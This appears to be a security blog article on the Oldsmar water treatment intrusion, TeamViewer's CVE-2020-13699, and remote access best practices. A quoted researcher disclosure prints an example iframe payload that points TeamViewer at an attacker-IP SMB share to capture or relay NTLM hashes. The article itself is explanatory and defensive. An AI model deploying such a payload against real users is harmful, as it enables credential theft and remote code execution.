Remote Access Security Risks and Best Practices to Counter These Risks

Remote Access Security Risks and Best Practices to Counter These Risks

The recent cyber incident in which someone tried to poison the water supply of the city of Oldsmar, Florida highlights the security risks of remote access.

Pinellas County Sheriff Bob Gualtieri, in a press conference held last week, said that someone remotely accessed one of the computers of the city’s water treatment system and increased the amount of sodium hydroxide to a level that could have caused serious harm to the city’s 15,000 residents.

A small concentration of sodium hydroxide is used by the city’s water treatment system to control the water acidity. The high concentration of this chemical, however, causes severe burns and permanent damage to any tissue that it comes in contact with. Gualtieri said that the city’s water supply wasn’t adversely affected as a supervisor, who was also working remotely, noticed the unauthorized change and immediately reverted the chemical concentration to the old level.

TeamViewer Vulnerability

Gualtieri told WIRED and Reuters that the threat actor who made the unauthorized change to the concentration of sodium hydroxide gained remote access to the water treatment plant's computer system via TeamViewer – an app that allows a user to gain access to computers and networks remotely. This app is specifically used for desktop sharing.

The security vulnerability, designated as CVE-2020-13699, in TeamViewer for Windows platform was discovered last year by Jeffrey Hofmann, security engineer at Praetorian. Hofmann said the affected versions were versions 8 to 15 of the TeamViewer for Windows platform.

“An attacker could embed a malicious iframe in a website with a crafted URL (<iframe src='teamviewer10: --play \\attacker-IP\share\fake.tvs'>)that would launch the TeamViewer Windows desktop client and force it to open a remote SMB share,” Hofmann said. “Windows will perform NTLM authentication when opening the SMB share and that request can be relayed (using a tool like responder) for code execution (or captured for hash cracking).”

An attacker exploiting this vulnerability could force a victim to send an NTLM authentication request and capture the hash for offline password cracking. In response to the disclosure made by Hofmann, TeamViewer issued updates to TeamViewer versions 8 to 15 for the Windows platform. "We implemented some improvements in URI handling relating to CVE 2020-13699,” TeamViewer said in a statement.

It’s unclear whether the updates issued by TeamViewer were applied by the concerned personnel of the city’s water treatment system. According to the Cybersecurity and Infrastructure Security Agency (CISA), early information indicates that it’s possible that TeamViewer may have been used to gain unauthorized access to the water treatment system. This, however, can’t be confirmed at present date, CISA said.

“TeamViewer, a desktop sharing software, is a legitimate popular tool that has been exploited by cyber actors engaged in targeted social engineering attacks, as well as large scale, indiscriminate phishing campaigns,” CISA said. “Desktop sharing software can also be used by employees with vindictive and/or larcenous motivations against employers. Beyond its legitimate uses, when proper security measures aren’t followed, remote access tools may be used to exercise remote control over computer systems and drop files onto victim computers, making it functionally similar to Remote Access Trojans (RATs). TeamViewer’s legitimate use, however, makes anomalous activity less suspicious to end users and system administrators compared to RATs.”

Other Poor Cybersecurity Practices

As a result of the cyber incident at Oldsmar's water treatment system, the State of Massachusetts issued a cybersecurity advisory for public water suppliers. The advisory issued by the State of Massachusetts said, "All computers used by water plant personnel were connected to the SCADA system and used the 32-bit version of the Windows 7 operating system.”

Microsoft ended its support for the Windows 7 operating system on January 14, 2020. End of support, in this case, means end of security updates and technical support. Users of Windows 7 Professional and Enterprise versions, however, can avail of the Extended Security Update (ESU) plan (paid per-device) until January 2023. It isn’t clear whether Oldsmar’s water treatment system availed of the ESU plan.

The cybersecurity advisory further said, “Further, all computers shared the same password for remote access and appeared to be connected directly to the Internet without any type of firewall protection installed.”

Cybersecurity Best Practices

While remote access comes with known risks, remote access has become a necessity as a result of the lockdown restrictions. There’s also an upside with remote access. In the case of the cyber incident at Oldsmar's water treatment system, the unauthorized change was immediately reversed due to remote access as well.

Here are some of the lessons learned out of the cyber incident at Oldsmar's water treatment system:

• Keep all software up to date. Attention should be given to the timely application of security updates of critical software, such as software that allows remote access.
• Train employees how to spot and block social engineering. In social engineering, employees are tricked into clicking something which could result in the exposure of login credentials.
• Use the latest version of the operating system (Windows 10, instead of Windows 7).
• Never allow employees to use only one password.
• Use multi-factor authentication (MFA) and virtual private network (VPN).The use of MFA and VPN ensures that in case malicious outsiders or malicious insiders have gotten hold of the employees’ passwords, they still have to overcome these two additional security defenses.
• Use a firewall – a network security device that monitors outgoing and incoming network traffic and either allows or blocks specific traffic based on a defined set of rules.